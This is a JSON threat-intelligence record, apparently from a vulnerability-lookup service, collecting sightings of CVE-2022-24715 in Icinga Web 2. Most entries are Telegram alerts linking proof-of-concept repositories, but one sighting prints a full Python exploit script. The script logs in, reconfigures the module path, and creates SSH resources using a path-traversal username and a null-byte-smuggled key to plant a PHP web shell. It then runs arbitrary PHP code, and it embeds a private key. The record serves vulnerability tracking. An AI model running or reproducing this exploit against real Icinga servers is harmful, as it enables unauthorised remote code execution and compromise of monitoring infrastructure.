{"vulnerability": "CVE-2022-24715", "sightings": [{"uuid": "87125416-21f9-4ea8-8250-5a6ff6bbc76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13123", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-24715\n\ud83d\udd25 CVSS Score: 8.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Authenticated users, with access to the configuration, can create SSH resource files in unintended directories, leading to the execution of arbitrary code. This issue has been resolved in versions 2.8.6, 2.9.6 and 2.10 of Icinga Web 2. Users unable to upgrade should limit access to the Icinga Web 2 configuration.\n\ud83d\udccf Published: 2022-03-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-23T18:58:50.966Z\n\ud83d\udd17 References:\n1. https://github.com/Icinga/icingaweb2/security/advisories/GHSA-v9mv-h52f-7g63\n2. https://github.com/Icinga/icingaweb2/commit/a06d915467ca943a4b406eb9587764b8ec34cafb\n3. https://security.gentoo.org/glsa/202208-05\n4. http://packetstormsecurity.com/files/173516/Icinga-Web-2.10-Remote-Code-Execution.html", "creation_timestamp": "2025-04-23T19:05:20.000000Z"}, {"uuid": "42313887-abc1-4da0-b625-8640c37a6c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/CVEhub/16612", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/cxdxnt/CVE-2022-24715", "creation_timestamp": "2026-07-30T01:00:19.828573Z"}, {"uuid": "d11f4f3d-4f7e-4ce3-9d10-cb742d6c30da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/cibsecurity/38554", "content": "\u203c CVE-2022-24715 \u203c\n\nIcinga Web 2 is an open source monitoring web interface, framework and command-line interface. Authenticated users, with access to the configuration, can create SSH resource files in unintended directories, leading to the execution of arbitrary code. This issue has been resolved in versions 2.8.6, 2.9.6 and 2.10 of Icinga Web 2. Users unable to upgrade should limit access to the Icinga Web 2 configuration.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-08T22:40:54.000000Z"}, {"uuid": "fda9984d-69a3-4fd1-9744-e96faf519832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16614", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715-crrxa*\nGithub: https://github.com/hheeyywweellccoommee/CVE-2022-24715-crrxa", "creation_timestamp": "2026-07-31T00:00:39.938939Z"}, {"uuid": "7c4f7754-98b7-4390-98fd-f2b1c6060df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16612", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/cxdxnt/CVE-2022-24715", "creation_timestamp": "2026-07-31T00:00:39.975765Z"}, {"uuid": "90433487-f38b-44ac-8bf8-b2b461818185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7967", "content": "#exploit\n1. CVE-2022-24715 / CVE-2022-24716:\nAuthenticated RCE / Arbitrary File Disclosure Vulnerability in Icinga Web2 <2.8.6, <2.9.6, <2.10\nhttps://github.com/JacobEbben/CVE-2022-24715\nhttps://github.com/JacobEbben/CVE-2022-24716\n\n2. CVE-2023-27326:\nVM Escape for Parallels Desktop <18.1.1\nhttps://github.com/Impalabs/CVE-2023-27326\n\n3. CVE-2023-23192:\nUserlock Multi-Factor Authentication (MFA) Bypass\nhttps://github.com/pinarsadioglu/CVE-2023-23192", "creation_timestamp": "2023-03-21T11:01:01.000000Z"}, {"uuid": "f794a5a8-fc31-4934-bb29-c63fc8da95aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/8716", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/JacobEbben/CVE-2022-24715", "creation_timestamp": "2026-07-31T14:00:05.155051Z"}, {"uuid": "64610bb0-4fe0-4a70-9661-1f429e7b6703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/8716", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/JacobEbben/CVE-2022-24715", "creation_timestamp": "2026-08-01T00:00:30.671889Z"}, {"uuid": "3f0f3885-dd64-4ec5-bffd-c78ea2b6f58d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://gist.github.com/byt3n33dl3/5161bdcd67e51cfe5a50b3112382d951", "content": "#!/usr/bin/env python3\nimport argparse\nimport bs4\nimport random\nimport requests\n\n\nclass CVE_2022_24715:\n\n    random_private_key = '''-----BEGIN RSA PRIVATE KEY-----\nMIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAsQ/QH+NWTNSa/rY1\nFM0wGT2AMCBiwxGf9BUSVxwZjzwIJ21ZYzGePXa3Sl9WPFfL1iXTt8l25FyJlw/0\nBDk96wIDAQABAkEAmYm60kwSw+EA3qsl8HnVoa2BATq0Ka+Y4tF66+rEBz14CecK\n9kdF6Riti3ntt6OFplZ05zY/NyBl1lLcvY598QIhANlw08TR2/rYu9SchwSRQjs0\nN13yo/yLeZBjV3kaYCmNAiEA0HXmKiuuZbR4CtnZUptyja2ZG+47lbq4eyrVk1Fe\nW1cCIGFucxXAS2fNcezE7qMXS6wnq5+HN//Tp3cRbIKxVOGJAiAvOobrBvp8EGci\nDjkufgl2D96gdVkKk0M4pHu+5LB8AQIgZ31NPGShnAq4fNa71cNKbM7R3ywgijuV\ntAZB3bwiboU=\n-----END RSA PRIVATE KEY-----'''\n    php_web_shell = ''\n\n    def __init__(self, args):\n        self.url = args.target.rstrip('/')\n        self.session = requests.Session()\n        if args.proxy:\n            self.session.proxies = {'http': args.proxy, 'https': args.proxy}\n        self.creds = (args.username, args.password)\n        self.code = args.code + ';'\n\n    @staticmethod\n    def rand():\n        return random.randbytes(8).hex()\n\n    def csrf_post(self, path, data):\n        url = self.url + path\n        get_response = self.session.get(url)\n\n        soup = bs4.BeautifulSoup(get_response.text, 'lxml')\n        token = soup.find('input', {'id': 'CSRFToken'})['value']\n        data['CSRFToken'] = token\n\n        return self.session.post(url, data=data)\n\n    def exploit(self):\n        response = self.csrf_post('/authentication/login', {\n            'username': self.creds[0],\n            'password': self.creds[1],\n            'rememberme': '0',\n            'redirect': '',\n            'formUID': 'form_login',\n            'btn_submit': 'Login'\n        })\n        if response.status_code == 302:\n            print('Login successful!')\n\n        if self.session.get(self.url + '/shm/run').content.startswith(b'file://'):\n            print(self.execute())\n            return\n\n        self.csrf_post('/config/general', {\n            'global_show_stacktraces': '1',\n            'global_show_application_state_messages': '1',\n            'global_module_path': '/dev',\n            'global_config_resource': 'icingaweb2',\n            'logging_log': 'syslog',\n            'logging_level': 'ERROR',\n            'logging_application': 'icingaweb2',\n            'logging_facility': 'user',\n            'runs_default': 'Icinga',\n            'runs_disabled': '0',\n            'authentication_default_domain': '',\n            'formUID': 'form_config_general',\n            'btn_submit': 'Save Changes'\n        })\n\n        self.csrf_post('/config/moduleenable', {\n            'identifier': 'shm',\n            'btn_submit': 'btn_submit'\n        })\n\n        ssh_name = self.rand()\n\n        self.csrf_post('/config/createresource', {\n            'type': 'ssh',\n            'name': ssh_name,\n            'user': ssh_name,\n            'private_key': self.random_private_key,\n            'formUID': 'form_config_resource',\n            'btn_submit': 'Save Changes'\n        })\n\n        self.csrf_post('/config/createresource', {\n            'type': 'ssh',\n            'name': self.rand(),\n            'user': '../../../../../../dev/shm/run.php',\n            'private_key': f'file:///etc/icingaweb2/ssh/{ssh_name}\\x00' + self.php_web_shell,\n            'formUID': 'form_config_resource',\n            'btn_submit': 'Save Changes'\n        })\n\n        print(self.execute())\n\n    def execute(self):\n        post_data = {\"e\": self.code}\n        response = self.session.post(self.url + '/shm/run', data=post_data)\n        output = b''.join(response.content.split(b'')[:-1])[44:]\n        return output\n\n\ndef main():\n    parser = argparse.ArgumentParser(prog='CVE-2022-24715.py', description='Icinga Web 2 - CVE-2022-24715 Authenticated RCE Exploit')\n    required = parser.add_argument_group('required arguments')\n    required.add_argument('target', metavar='PROTO://HOST[:PORT][/PATH]', help='URI pointing to Icingaweb2 web root (Ex: \"http://example.com:8080/icingaweb2\")')\n    required.add_argument('-u', '--username', required=True, help='Icinga web account username')\n    required.add_argument('-p', '--password', required=True, help='Icinga web account password')\n    required.add_argument('-c', '--code', required=True, help='PHP code to run')\n    parser.add_argument('--proxy', default=None, metavar='PROTO://[USER:PASS@]HOST[:PORT]', help='Proxy to send requests through')\n\n    CVE_2022_24715(parser.parse_args()).exploit()\n\n\nif __name__ == '__main__':\n    main()", "creation_timestamp": "2026-08-10T18:03:03.749972Z"}, {"uuid": "20ec9ed9-6dc3-4267-b11a-67227cdc37db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/CVEhub/16612", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/cxdxnt/CVE-2022-24715", "creation_timestamp": "2026-07-29T12:00:17.786145Z"}, {"uuid": "17edcb36-1db7-404a-8b44-f3006e4b3eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/CVEhub/16614", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715-crrxa*\nGithub: https://github.com/hheeyywweellccoommee/CVE-2022-24715-crrxa", "creation_timestamp": "2026-07-29T12:00:17.816038Z"}, {"uuid": "1fb535ad-3ad0-4ae3-be7c-63f142a32927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/CVEhub/8716", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/JacobEbben/CVE-2022-24715", "creation_timestamp": "2026-07-29T12:00:48.121966Z"}, {"uuid": "417d0a4a-55c5-4aed-9e0f-d45ab2dbf327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/CVEhub/16614", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715-crrxa*\nGithub: https://github.com/hheeyywweellccoommee/CVE-2022-24715-crrxa", "creation_timestamp": "2026-07-30T00:00:37.209751Z"}, {"uuid": "81c46b64-ff9c-4224-a6f1-7e8c789ce69c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24715", "type": "seen", "source": "https://t.me/CVEhub/8716", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-24715*\nGithub: https://github.com/JacobEbben/CVE-2022-24715", "creation_timestamp": "2026-07-30T00:01:18.768294Z"}]}